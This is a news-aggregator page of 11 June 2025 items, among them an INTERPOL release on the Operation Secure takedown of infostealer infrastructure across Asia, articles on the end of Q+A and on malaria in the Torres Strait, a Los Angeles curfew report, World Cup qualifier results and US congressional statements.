         I express my heartfelt gratitude to the Hong Kong Association for hosting this luncheon and for your unwavering commitment to strengthening Hong Kong-UK ties. Let us seize this opportunity to deepen our financial partnership, fostering innovation, sustainability, and prosperity for our shared future. Together, we can shape a world of opportunity, leveraging Hong Kong’s strengths and the UK’s global leadership to drive transformative growth.
     
         Thank you.
    Issued at HKT 16:31

    NNNN

    CategoriesMIL-OSI

    MIL OSI Asia Pacific News –

    June 11, 2025
  • MIL-OSI Security: 20,000 malicious IPs and domains taken down in INTERPOL infostealer crackdown

    Source: Interpol (news and events)

    11 June 2025

    SINGAPORE – More than 20,000 malicious IP addresses or domains linked to information stealers have been taken down in an INTERPOL-coordinated operation against cybercriminal infrastructure.

    During Operation Secure (January – April 2025) law enforcement agencies from 26 countries worked to locate servers, map physical networks and execute targeted takedowns.

    Ahead of the operation, INTERPOL cooperated with private-sector partners Group-IB, Kaspersky and Trend Micro to produce Cyber Activity Reports, sharing critical intelligence with cyber teams across Asia. These coordinated efforts resulted in the takedown of 79 per cent of identified suspicious IP addresses.

    Participating countries reported the seizure of 41 servers and over 100 GB of data, as well as the arrest of 32 suspects linked to illegal cyber activities.

    What are infostealers?

    Infostealer malware is a primary tool for gaining unauthorized access to organizational networks. This type of malicious software extracts sensitive data from infected devices, often referred to as bots. The stolen information typically includes browser credentials, passwords, cookies, credit card details and cryptocurrency wallet data.

    Additionally, logs harvested by infostealers are increasingly traded on the cybercriminal underground and are frequently used as a gateway for further attacks. These logs often enable initial access for ransomware deployments, data breaches, and cyber-enabled fraud schemes such as Business Email Compromise (BEC).

    Following the operation, authorities notified over 216,000 victims and potential victims so they could take immediate action – such as changing passwords, freezing accounts, or removing unauthorized access.

    Operational highlights

    Vietnamese police arrested 18 suspects, seizing devices from their homes and workplaces. The group’s leader was found with over VND 300 million (USD 11,500) in cash, SIM cards and business registration documents, pointing to a scheme to open and sell corporate accounts.

    As part of their respective enforcement efforts under Operation Secure, house raids were carried out by authorities in Sri Lanka and Nauru. These actions led to the arrest of 14 individuals – 12 in Sri Lanka and two in Nauru – as well as the identification of 40 victims.

    The Hong Kong Police analysed over 1,700 pieces of intelligence provided by INTERPOL and identified 117 command-and-control servers hosted across 89 internet service providers. These servers were used by cybercriminals as central hubs to launch and manage malicious campaigns, including phishing, online fraud and social media scams.

    Neal Jetton, INTERPOL’s Director of Cybercrime, said:

    “INTERPOL continues to support practical, collaborative action against global cyber threats. Operation Secure has once again shown the power of intelligence sharing in disrupting malicious infrastructure and preventing large-scale harm to both individuals and businesses.”

    Notes to editors

    Operation Secure is a regional initiative organized under the Asia and South Pacific Joint Operations Against Cybercrime (ASPJOC) Project.

    Participating countries: Brunei, Cambodia, Fiji, Hong Kong (China), India, Indonesia, Japan, Kazakhstan, Kiribati, Korea (Rep of), Laos, Macau (China), Malaysia, Maldives, Nauru, Nepal, Papua New Guinea, Philippines, Samoa, Singapore, Solomon Islands, Sri Lanka, Thailand, Timor-Leste, Tonga, Vanuatu, Vietnam.
     

    MIL Security OSI –

    June 11, 2025
  • MIL-Evening Report: Q+A follows The Project onto the scrap heap – so where to now for non-traditional current affairs?

    Source: The Conversation (Au and NZ) – By Denis Muller, Senior Research Fellow, Centre for Advancing Journalism, The University of Melbourne

    Two long-running television current affairs programs are coming to an end at the same time, driving home the fact that no matter what the format, they have a shelf life.

    The Project on Channel 10 will end this month after 16 years, and after 18 years on the ABC, Q+A will not return from its current hiatus.

    Each was innovative in very different ways.

    Q+A was designed specifically to generate public participation. Its format of five panellists, a host and a studio audience of up to 1,000 was a daring experiment, because the audience was invited to ask questions that were not vetted in advance.

    This live-to-air approach gave it an edgy atmosphere not often achieved on television. From time to time, the edginess was real.

    In 2022, an audience member made a statement supporting Vladimir Putin’s invasion of Ukraine and repeated Russian propaganda to the effect that Ukraine’s Azov battalion was a Nazi group that had killed an estimated 13,000 people in the Donbas region.

    After a brief discussion of these allegations, the host Stan Grant asked the man to leave, saying other audience members had been talking about family members who were dying in the war, and he could not countenance the advocating of violence.

    In 2017 the Sudanese-Australian writer Yassmin Abdel-Magied was involved in a fiery exchange with Senator Jacqui Lambie over sharia law.

    They had been asked by an audience member if it was time to define new rules surrounding migration to avoid community conflict, to which Lambie replied: “Anyone that supports sharia law should be deported.”

    Abdel-Magied questioned if Lambie even knew what that meant, before getting into a heated defence of feminism and Islam.

    In 2024, an audience member listening to politicians on the panel debate family violence could not contain his frustration, calling out:

    How dare you go into politics, in an environment like this, when one woman is murdered every four days, and all you […] can do is immediately talk about politics? That is just disgraceful.

    His outburst went viral.

    He had put his finger on what was an increasing problem with the program. It became hostage to fixed political positions among those of its panellists drawn from party politics.

    As a result, it became predictable, and although the surprise element supplied by audience participation remained a strength, the panellists’ responses increasingly became echoes of their parties’ policies.

    While the objective no doubt was to achieve a range of perspectives, it began to look like stage-managed political controversy.

    This is not to criticise the established presenters – Tony Jones, who fronted the program for 11 years, Stan Grant and most recently Patricia Karvelas, all gifted journalists who adroitly managed the time bombs occasionally set off in their midst.

    Unfortunately, especially for Grant, the program was a lightning rod for attacks on the ABC by The Australian newspaper. ABC management’s abandonment of him, after a particularly vicious attack in 2023 over his commentary during coverage of the king’s coronation, was disgraceful.

    Resigning from the program, Grant said: “Since the king’s coronation, I have seen people in the media lie and distort my words. They have tried to depict me as hate filled. They have accused me of maligning Australia. Nothing could be further from the truth.”

    The ABC is promising to continue with audience-participation programming along the lines of Your Say, a kind of online questionnaire which the ABC says was successfully tried during the 2025 federal election.

    How such a format would translate to television is not clear.

    Meanwhile at Ten, there is promise of a new current affairs program, but details are scant.

    The Project will be a hard act to follow. It promised “news done differently” – and it delivered. News stories were given context and a touch of humanity by a combination of humour, accidents, slips of the tongue and the intellectual firepower of Waleed Aly.

    Aly is a Sunni Muslim, and his “ISIL is weak” speech in 2015 spoke directly and passionately to the fears of the public at the peak of one of the many panics over terrorism.

    Inevitably, much of the attention in the wake of the announced closure has been on the celebrated gaffes of long-time presenter Carrie Bickmore, a little rich to be reproduced in a sober article such as this, but findable here.

    It may not be an auspicious time for launching a new current affairs program at Ten. Its ultimate parent company, Paramount, in the United States, is in the process of negotiating a settlement with US President Donald Trump over a trumped-up court case in which the president is suing the company for US$20 billion (A$30.7 billion).

    He says an interview done by another Paramount company, CBS News, with the Democrats’ former presidential nominee Kamala Harris during the election campaign was “deceptively edited”.

    This is said to have no prospect of succeeding in court, but Paramount wishes to merge with Skydance Media and fears the Trump administration would block it if the company doesn’t come across. The Wall Street Journal is reporting it is proposing to settle for $15 million.

    Senior editorial staff at CBS have already resigned in protest at Paramount’s cowardice, so what price editorial independence at Ten?

    Denis Muller does not work for, consult, own shares in or receive funding from any company or organisation that would benefit from this article, and has disclosed no relevant affiliations beyond their academic appointment.

    – ref. Q+A follows The Project onto the scrap heap – so where to now for non-traditional current affairs? – https://theconversation.com/q-a-follows-the-project-onto-the-scrap-heap-so-where-to-now-for-non-traditional-current-affairs-258690

    MIL OSI Analysis – EveningReport.nz –

    June 11, 2025
  • MIL-OSI Russia: Los Angeles Mayor Announces Curfew in Downtown

    Translation. Region: Russian Federal

    Source: People’s Republic of China in Russian –

    Source: People’s Republic of China – State Council News

    LOS ANGELES, June 11 (Xinhua) — Los Angeles Mayor Karen Bass announced on Tuesday evening that the second-largest U.S. city will impose a curfew in the city center from 8 p.m. local time (03:00 GMT Wednesday) to 6 a.m. Wednesday (13:00 GMT).

    The curfew, as K. Bass noted, will cover an area of about 1 square mile.

    Local authorities imposed a limited curfew in response to looting and vandalism that occurred in the city centre on Monday evening following largely peaceful daytime protests, she said.

    The curfew does not apply to area residents, homeless people, members of the media, and public safety or emergency personnel, according to a statement from the Los Angeles Police Department.

    Bass announced the curfew as protests against U.S. Immigration and Customs Enforcement (ICE) raids entered their fifth day. Local media reported that demonstrators had taken to the 101 Freeway, blocking traffic in both directions, shortly before the curfew was ordered. –0–

    MIL OSI Russia News –

    June 11, 2025
  • MIL-OSI: Heilind Asia Pacific Gear Up for Fastener Expo Shanghai 2025

    Source: GlobeNewswire (MIL-OSI)

    SHANGHAI, June 11, 2025 (GLOBE NEWSWIRE) — Heilind Electronics is one of the world’s leading distributors for interconnect, electromechanical, fastener and sensor products. Heilind Asia Pacific, headquartered in Hong Kong and established in December 2012, taking place from June 17 to 19 at the National Exhibition and Convention Center (Shanghai) and will be showcasing a broad portfolio of advanced fastening products & solutions, designed to meet the evolving needs of industries such as automotive, industrial automation, energy, and consumer electronics.

    As part of our ongoing commitment to bringing top-tier interconnect and fastening innovations to Asia’s growing industrial market, join Heilind at Booth #1E510 in Hall 1.1, Heilind Asia Pacific is looking forward to engaging with engineers, procurement professionals, and partners across the supply chain. Technical specialists will be on-site to provide live demonstrations and application consultations.

    Event Details:

    Booth 1E510 Hall 1.1– Heilind Asia Pacific

    June 17–19, 2025

    National Exhibition and Convention Center (Shanghai)

    About Heilind Electronics
    Heilind Electronics is one of the world’s leading distributors for interconnect, electromechanical, and sensor products. As the industry’s preeminent distributor, Heilind stocks the largest inventory of connector products in North America. We are Heilind franchised for over 150 of the industry’s leading manufacturers and offer products in over 25 component categories including connectors, relays, sensors, switches, thermal management and circuit protection products, terminal blocks, antennas, wire and cable, wiring accessories, insulation and identification products. Heilind has locations throughout the U.S., Canada, Mexico, Brazil, Singapore, Hong Kong, and China.

    Heilind Asia Pacific (www.heilindasia.com) commenced operations in Dec 2012. Besides being headquartered in Hong Kong, where it also has a distribution center and a value-added center, Heilind Asia now has 24 locations & 5 warehouses throughout Asia. Our industry leading service offering to customers in the Asia Pacific is the result of a commitment to the belief of “Distribution As It Should Be.”

    A photo accompanying this announcement is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/90b27639-34ee-4c22-a54e-5d1dbdc242de

    The MIL Network –

    June 11, 2025
  • MIL-OSI Banking: Gully Premier League: Cricket, Camaraderie & Cheers at Samsung Chennai Plant

    Source: Samsung

     
    At Samsung Chennai plant, the workday recently took on a cheerful new twist. Amidst buzzing production lines and changing shifts, laughter and cheers echoed around the newly inaugurated Multi-Sports Arena. The occasion?
     
    The much-anticipated Gully Premier League—a cricket tournament designed not just to bring sports into the factory but to spark joy, nostalgia, and togetherness among workers.
     
    More than just a game, this initiative is part of Samsung’s larger mission to build a Great Place to Work, celebrating the spirit of collaboration and play across all shifts and teams.
     

    Cricket, but Make it Gully Style
    Forget stadiums and white kits. Here, cricket is played the gully way—with deft flicks and swinging deliveries, hand-made scoreboards, enthusiastic commentary from colleagues, and rules that changed with the wind and umpire’s sense of humour. The format was simple and inclusive:
     
    Each shift could nominate one team of six players
    Larger departments could nominate more teams
    All shift employees were encouraged to participate
     
    The response was electrifying—48 teams, 72 league matches, and 288 employees who left their work shoes at the door and stepped into sneakers and spirit.
     
    “I haven’t played cricket since school. But the moment I picked up the bat, it all came rushing back,” said Karthik from Washing Machine Line. “The crowd, the cheers, the chaos—it felt like home.”
     

     
    Making Room for Everyone
    What made this league even more special was the focus on the sense of togetherness. Alongside the main matches, there are dedicated categories being planned for all lines—ensuring everyone felt welcomed on the pitch.
     
    Gopi, from Refrigerator Line, said, “It wasn’t just about who hit the most runs or took the best catch. It was about seeing a usually quiet colleague take on captaincy, or someone from admin stepping in as a last-minute substitute and bowling the match-winning over.”
     

     
    New Grounds, New Bonds
    The Gully League also marked the inauguration of the new Multi-Sports Arena, a vibrant space that now stands as a symbol of wellness, fun, and shared purpose. From laughter-filled team huddles to last-ball thrillers, the Arena quickly became the new favourite hangout for employees.
     
    “For me, the best part was the crowd. People from all shifts came to watch, cheer, and even bring snacks,” said Sivabalan from the Smart Facility Group (SFG). One team even had cheer slogans printed for fun. We all forgot the Chennai heat and just had a blast.”
     

     
    Bringing Samsung Values to Life
    Events like the Gully Premier League aren’t just recreational—they reflect Samsung’s core values: People, Excellence, Change, Integrity, and Co-Prosperity. They encourage employees to lead with energy, grow through collaboration, and build bonds beyond the workstation.
     
    “It’s easy to say we’re one team. But on the field, you feel it,” said Srinath from R&D team. “We high-fived, strategized, laughed—and went back to work feeling lighter.”

    And the Game Goes On
    With 24 teams moving into the knockout stage, anticipation is building up for the quarterfinals, semifinals, and the much-awaited grand finale. And while one team will eventually lift the trophy, everyone walks away with memories, smiles, and a stronger sense of belonging.
     
    So, here’s to the gully spirit that brings us closer—and many more innings of fun, teamwork, and friendly banter at Samsung!

    MIL OSI Global Banks –

    June 11, 2025
  • MIL-OSI USA: Beatty and Brown Demand Urgent Federal Response to Housing Crisis

    Source: United States House of Representatives – Congresswoman Joyce Beatty (3rd District of Ohio)

    WASHINGTON, D.C. – Today, Congresswoman Joyce Beatty (OH-03) co-led a House Resolution with Congresswoman Shontel Brown (OH-11) calling for urgent, coordinated federal action to address the nation’s worsening housing crisis by preserving and expanding access to affordable housing. 

     

    The Resolution outlines the urgent need to address the housing crisis nationally and calls for a comprehensive approach to addressing it, including: expanding and preserving affordable housing units; strengthening Federal rental assistance programs; promoting equitable zoning and infrastructure alignment; and partnering across the public, private, and nonprofit sectors to protect tenants and spur innovation. 

     

    “Housing is a human right, full stop,” said Congresswoman Joyce Beatty. “The nation’s ongoing affordable housing shortage hits low-income and minority communities the hardest, making it virtually impossible for millions of families to stay healthy, pursue higher education, maintain steady employment, or achieve financial stability. This resolution recognizes the urgency of addressing the housing crisis in America and affirms a commitment to advancing federal legislation to support rental assistance and housing development so that every American family has a safe, affordable place to call home.”

    “In Northeast Ohio and across America, our housing crisis is pricing families out of stability. It’s harder than ever to find a place to live, pay the bills, keep our families safe and secure, and build wealth. Housing isn’t just having a roof over your head— it is the foundation for safety, security, and opportunity. This crisis is hitting families in every corner of the country, and it’s widening the wealth and racial gaps we’ve been trying to close for generations. I am proud to introduce this resolution with Congresswoman Beatty because it is time that we put the House of Representatives on record on this important issue. The housing crisis is impacting every congressional district, and we need a coordinated federal response,” said Congresswoman Shontel Brown.   

     

    The United States faces an estimated shortage of over 7 million affordable homes for extremely low-income renters and over 12 million spend more than 50 percent of their income on rent, often sacrificing food, health care, or transportation as a result. 

     

    Since 2020, rents have increased by more than 35%, while median incomes have not kept pace, fueling record-high homelessness and housing instability. Black households are substantially less likely to own a home than white households – 44% homeownership rate for Blacks versus 72% for whites – and the Black homeownership rate remains lower than in the year 2000.

     

    Text of the resolution is available HERE.

     

    This resolution is endorsed by: the National Affordable Housing Management Association, the Fair Housing Center for Rights and Research, Northwest Neighborhoods, Providence House, University Settlement, and Loretta’s Helping Hands.

     

    ###

    MIL OSI USA News –

    June 11, 2025
  • MIL-OSI China: Los Angeles mayor announces curfew in downtown area

    Source: People’s Republic of China – State Council News

    Los Angeles Mayor Karen Bass announced Tuesday evening that the second largest city in the United States has imposed a curfew in the downtown area from local time 8:00 p.m. (0300 GMT Wednesday) to 6:00 a.m. (1300 GMT) Wednesday.

    The curfew would cover about 1 square mile, Bass said.

    She said that the local authorities imposed the limited curfew in response to looting and vandalism that occurred downtown Monday night, following largely peaceful daytime protests.

    The curfew exempts residents of the designated area, homeless individuals, credentialed media and public safety or emergency officials, according to the Los Angeles Police Department.

    Bass announced the curfew as protests against raids by the U.S. Immigration and Customs Enforcement stretched into the fifth day, with local media reporting demonstrators surged onto the 101 Freeway, blocking traffic in both directions, shortly before the order was issued. 

    MIL OSI China News –

    June 11, 2025
  • MIL-OSI China: Ancelotti’s first Brazil win seals World Cup spot

    Source: People’s Republic of China – State Council News

    Vinicius Junior scored in the first half as five-time world champion Brazil secured a spot at next year’s FIFA World Cup with a 1-0 home win over Paraguay in its qualifier on Tuesday.

    The result marked new manager Carlo Ancelotti’s first victory since taking charge late last month and leaves Brazil third in the South American standings with 25 points, one ahead of fifth-placed Paraguay, with two matches remaining.

    “We’re very happy to have qualified for the World Cup, which was our objective,” Vinicius told TV Globo after the match.

    “Tonight wasn’t one of our best games but the most important thing in these qualifiers is to get over the line and do what’s needed to reach the World Cup. Now it’s time to celebrate.”

    The host took the lead on the stroke of halftime when Vinicius slid home from inside the six-yard box after Matheus Cunha’s cross from the right side of the penalty area.

    Brazil dominated for large periods at Sao Paulo’s Corinthians Arena but struggled to break down Paraguay’s disciplined defensive block.

    The visitor offered little in attack and its best chance of the first half was a speculative effort by Junior Alonso from 15 yards.

    Brazil went close to doubling its lead just before the hour through Bruno Guimaraes, whose deft chip was headed off the line by Juan Caceres.

    Dynamo Moscow right-back Caceres then put Brazil’s defense under pressure with a long throw to the goalmouth, where the ball fell to Alonso, whose powerful header flew just over the bar.

    But there were few other scoring chances as both teams appeared to prioritize defense over offensive ambition.

    The home side had 73% of possession but only four shots on target while Paraguay forced just one save from Brazil goalkeeper Alisson.

    Brazil will meet Chile and Bolivia in its final two qualifiers in September while Paraguay, which needs only one more point to qualify, faces Ecuador and Peru.

    MIL OSI China News –

    June 11, 2025
  • MIL-OSI China: Almada rescues 10-man Argentina in 1-1 draw against Colombia

    Source: People’s Republic of China – State Council News

    Thiago Almada struck late as Argentina salvaged a 1-1 home draw against Colombia in their FIFA World Cup qualifier on Tuesday.

    Liverpool forward Luis Diaz gave the visitors the lead against the run of play when he cut inside from the left wing and skipped past three defenders before coolly firing a shot past Emiliano Martinez.

    The host was forced to play the last 25 minutes with 10 men after Chelsea midfielder Enzo Fernandez was shown a straight red card for a dangerous challenge on Kevin Castano.

    Despite its numerical disadvantage, Argentina continued to dictate terms and pushed forward in search of an equalizer.

    Lyon midfielder Almada put his side on level terms nine minutes from time by receiving Exequiel Palacios’ pass and advancing into the box before drilling a low effort into the far corner.

    Reigning World Cup champion Argentina, which is already assured of a place at football’s showpiece tournament next year, remains top of South America’s qualifying group with 35 points, 13 ahead of sixth-placed Colombia.

    The top six teams earn direct entry to the World Cup while the seventh-ranked side advances to a playoff.

    Argentina will meet Venezuela and Ecuador in its last two qualifiers in September while Colombia will confront Bolivia and Venezuela.

    MIL OSI China News –

    June 11, 2025
  • MIL-Evening Report: Malaria has returned to the Torres Strait. What does this mean for mainland Australia?

    Source: The Conversation (Au and NZ) – By Cameron Webb, Clinical Associate Professor and Principal Hospital Scientist, University of Sydney

    Aspect Drones/Shutterstock

    Malaria is one of the deadliest diseases spread by mosquitoes. Each year, hundreds of millions of people worldwide are infected and half a million people die from the disease.

    While mainland Australia was declared malaria-free in 1981, from time to time travellers return to Australia with an infection.

    Infections from local mosquitoes are incredibly rare. However, last week two cases of locally acquired malaria were reported in the Torres Strait.

    So what does this mean for local communities? And is this a risk for mainland Australia?

    What is malaria?

    Unlike other mosquito-borne disease, malaria is caused by protozoan parasites, not viruses. These parasites belong to the Plasmodium genus. While five of these parasites are considered a human health concern, Plasmodium falciparum poses the most serious threat.

    Symptoms can be mild and include fever, chills and headache. But sometimes people develop severe symptoms, such as fatigue, confusion, seizures and difficulty breathing.

    Without appropriate medical care, the disease can be fatal. Those most at risk of life-threatening illness include infants, children under five years, pregnant women and patients with HIV and AIDS.

    How does it spread?

    Malaria parasites are spread by the bite of a mosquito carrying the malaria parasite.

    Not all mosquitoes can carry the parasite. The group of mosquitoes responsible for most malaria transmission is called Anopheles. Aedes and Culex mosquitoes, which are typically associated with the spread of viruses, don’t transmit malaria to people.

    The Anopheles group of mosquitoes play an important role in transmitting malaria parasites.
    Cameron Webb (NSW Health Pathology), CC BY-NC-ND

    While there are medications available to prevent malaria, and these are routinely recommended to travellers, this is not a sustainable approach for communities within regions at risk. The cost of medications, as well as the risk parasites may develop resistance to medications over time, are barriers for routine use in high risk countries.

    Alternative strategies include using insecticide-treated bed nets and controlling mosquitoes by spraying insecticide on and around homes. Early diagnosis and treatment of those suspected to have an infection is also crucial.

    ‘Imported’ versus ‘locally acquired’ infections

    There is an important distinction between “imported” and “locally acquired” cases of malaria.

    “Imported” cases mean the person has been infected overseas and returned to Australia, where they’ve been diagnosed and treated. These cases appear in official statistics but are not the result of local mosquito bites.

    “Locally acquired” cases are where a person is infected without any overseas travel. These cases often result from the parasites first introduced into Australia by infected travellers. The travellers are then bitten by local mosquitoes that go on to bite and spread the pathogens to people who haven’t travelled.

    The last locally acquired malaria outbreak in mainland Australia occurred in 2002, when ten people were infected in Far North Queensland.

    When this happens, it indicates local mosquitoes are carrying the malaria parasites and there is a significant risk further infections have occurred (but are not yet diagnosed) or may be diagnosed in the near future. Mosquito control or other initiatives are required to prevent larger outbreaks.

    In the case of the Torres Strait, there is also the risk infected mosquitoes are transported, either by wind or boats, from Papua New Guinea.

    So, what’s happening in the Torres Strait?

    Queensland Health is currently investigating two recent cases of locally acquired malaria on Saibai Island.

    But cases of locally acquired malaria aren’t unusual in the Torres Strait. They’re often suspected to be linked to movement of people into the islands from PNG, a country that reports more than a million suspected cases of malaria each year.

    Previous locally acquired malaria cases in the Torres Strait were reported in 2023. Before that, a single case was reported in 2013 and eight cases in 2011.

    The tropical climate of the Torres Strait and presence of Anopheles mosquitoes means conditions are right for local spread once the parasites are introduced, either through infected mosquitoes or people.




    Read more:
    Torres Strait Islanders face more than their fair share of health impacts from climate change


    Could malaria spread to mainland Australia?

    Since the 1980s, there have only been a small number of cases reported on mainland Australia. The majority are in travellers returning to Australia who were infected overseas.

    Historically, malaria cases were reported in many parts of the country, especially in the 1940s, including suburbs around Sydney when soldiers infected overseas returned to Australia.

    The mosquitoes capable of spreading the parasites then are still present today. While the most important malaria mosquito in Australia, Anopheles faurati, is limited to northern regions of coastal Australia, Anopheles annulipes is widespread across much of the country.

    But just because the mosquitoes are there, it doesn’t mean there will be an outbreak of malaria.

    The parasite needs to be introduced and it needs to be warm enough for it to complete its life cycle in local mosquitoes. The cooler it is, the less likely that is to happen, even if suitable mosquitoes are present.

    The parasites also face additional challenges. Infected people need to be bitten by local Anopheles mosquitoes, not just any mosquitoes. And with modern health-care systems in Australia, untreated sick people are less likely to be exposed to mosquito bites.

    Malaria is one of the mosquito-borne pathogens considered at risk of increasing as a result of climate change. But there are many other factors at play that will determine future outbreak risk in mainland Australia, especially outside the tropical north of the country, such as a changing climate and seasonal changes in numbers and types of mosquitoes.

    How to stay safe

    The most important way local communities and visitors to the Torres Strait can stay safe is to avoid mosquito bites.

    Cover up when possible with long-sleeved shirts, long pants and covered shoes and apply an insect repellent.

    Insect screens, whether on buildings or in the form of bed nets will also provide protection overnight.




    Read more:
    Mozzies biting? Here’s how to choose a repellent (and how to use it for the best protection)


    Cameron Webb and the Department of Medical Entomology, NSW Health Pathology and University of Sydney, have been engaged by a wide range of insect repellent and insecticide manufacturers to provide testing of products and provide expert advice on medically important arthropods, including mosquitoes. Cameron has also received funding from local, state and federal agencies to undertake research into various aspects of mosquito and mosquito-borne disease management.

    – ref. Malaria has returned to the Torres Strait. What does this mean for mainland Australia? – https://theconversation.com/malaria-has-returned-to-the-torres-strait-what-does-this-mean-for-mainland-australia-258289

    MIL OSI Analysis – EveningReport.nz –

    June 11, 2025
  • MIL-OSI USA: Ranking Member McCollum: House Democrats Expose How Republicans’ Defense Funding Bill Undermines Military Readiness

    Source: United States House of Representatives – Congresswoman Betty McCollum (DFL-Minn)

    WASHINGTON — During today’s House Appropriations subcommittee markup of the 2026 Defense funding bill, House Democrats highlighted how the bill undermines democracy at home and abroad and includes harmful policy riders that divide our nation.

    For fiscal year 2026, the bill provides $831.5 billion, which is equal to current funding levels and $1.3 billion above the Administration’s fiscal year 2026 request.

    Republicans have included language directing the Department of Defense to determine $7.75 billion in cuts to amounts listed in the bill. This jeopardizes every program other than intelligence activities. If made uniformly, it would reduce everything by approximately 1 percent, which would mean cuts of almost $2 billion for troop pay, over $2 billion for troop readiness, $409 million for health programs, $5 million each for Israel and Jordan, and over $2 billion for the procurement and modernization of weapons systems. At a time when the Trump Administration is already illegally stealing from American communities by refusing to spend funds, it is unfathomable that the Appropriations Committee would allow the administration to unilaterally make nearly $8 billion in cuts to defense investments.

    The legislation:

    • Weakens Ukraine and empowers Russia by eliminating support for the Ukraine Security Assistance Initiative.
    • Undermines democracy at home and abroad by allowing disinformation and extremist views to flourish.
    • Limits women’s access to abortion by preventing service personnel from traveling to seek reproductive health care
    • Harms our military readiness with divisive provisions that undermine morale and fail to support our service personnel, by:
      • Continuing DOGE and the Administration’s cuts to vital civilian positions;
      • Attacking the LGBTQ+ community with hateful policies; and
      • Banning funding for diversity, equity, and inclusion efforts.

    From Defense Appropriations Subcommittee Ranking Member Betty McCollum’s (D-MN-04) opening remarks as prepared for delivery:

    “The Defense Appropriations Act is an incredibly complex piece of legislation that needs to be written the right way: With the president’s budget, and with thoughtful analysis by the Department of Defense. There are consequences to not following this process. We may end up buying too many of one platform, wasting precious taxpayer dollars. We may end up buying too little of another – leaving a gap in our defense capabilities. When we do not see the budget request, we fail to maximize the buying power for the taxpayer. It is unfortunate that President Trump put us in this situation. Our service members and America’s tax paying public deserve better.”

    From Appropriations Committee Ranking Member Rosa DeLauro’s (D-CT-03) opening remarks as prepared for delivery:

    “Rather than working with House Democrats to strengthen our national security and prioritize the issues that matter most to our men and women in uniform, House Republicans are abandoning our allies, undermining democracy at home and abroad, and failing to support our servicemembers. Despite broad support in Congress for helping Ukraine defend itself against Russia’s brutal invasion, they empower Vladimir Putin by failing to include $300 million for the Ukraine Security Assistance Initiative. The majority’s bill holds the door open for disinformation created by America’s enemies rather than allowing the Department of Defense to counter the threat, allowing extremism and propaganda to proliferate across the Internet and media landscape. The bill continues House Republicans’ attacks on the right of women to seek an abortion, and the rights of minorities to be protected from discrimination, while destroying the Department’s efforts to build a more inclusive, effective, and modern military. And the bill weakens the Department by continuing the Administration’s reckless and indiscriminate cuts to vital civilian personnel, and yielding to DOGE and Elon Musk.”

    A summary of House Republicans’ 2026 Defense bill is here. A fact sheet of the bill is here. The full text of the bill is here.

    MIL OSI USA News –

    June 11, 2025
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